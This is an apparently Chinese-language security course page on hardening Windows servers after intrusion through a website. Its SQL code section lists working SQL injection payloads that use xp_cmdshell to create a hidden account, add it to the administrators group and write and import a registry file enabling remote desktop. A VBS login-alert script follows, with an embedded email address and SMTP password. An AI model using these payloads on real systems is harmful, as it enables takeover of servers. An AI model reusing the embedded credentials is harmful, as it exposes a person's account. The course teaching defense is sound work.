你的服务器安全吗-通过网站入侵web服务器

打开微信 扫一扫图片二维码 学习

课程介绍

配置Windows服务器安全

配置服务器安全

系统本地安全策略加固服务器

安全使用习惯

课程中用到的sql代码如下

123' or 'a'='a

123' or 'a'='a';exec XP_cmdshell 'net user lisi5 a1! /add

123' or 'a'='a';exec XP_cmdshell 'net localgroup administrators lisi5 /add

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]

"fDenyTSConnections"=dword:00000000

123' or 'a'='a';exec XP_cmdshell 'echo Windows Registry Editor Version 5.00 >>c:\\ts.reg

123' or 'a'='a';exec XP_cmdshell 'echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] >>c:\\ts.reg

123' or 'a'='a';exec XP_cmdshell 'echo "fDenyTSConnections"=dword:00000000 >>c:\\ts.reg

123' or 'a'='a';exec XP_cmdshell 'regedit /s c:\\ts.reg

发送邮件vbs脚本

NameSpace = "http://schemas.microsoft.com/cdo/configuration/" 

Set Email = CreateObject("CDO.Message") 

Email.From = "m13073172070@163.com" 

Email.To = "hlh_hb@qq.com" 

Email.Subject = "有人登陆Web服务器" 

Email.Textbody = "注意检查登陆者是否合法!" 

With Email.Configuration.Fields 

.Item(NameSpace&"sendusing") = 2 

.Item(NameSpace&"smtpserver") = "smtp.163.com" 

.Item(NameSpace&"smtpserverport") = 25 

.Item(NameSpace&"smtpauthenticate") = 1 

.Item(NameSpace&"sendusername") = "m13073172070" 

.Item(NameSpace&"sendpassword") = "abc" 

.Update 

End With 

Email.Send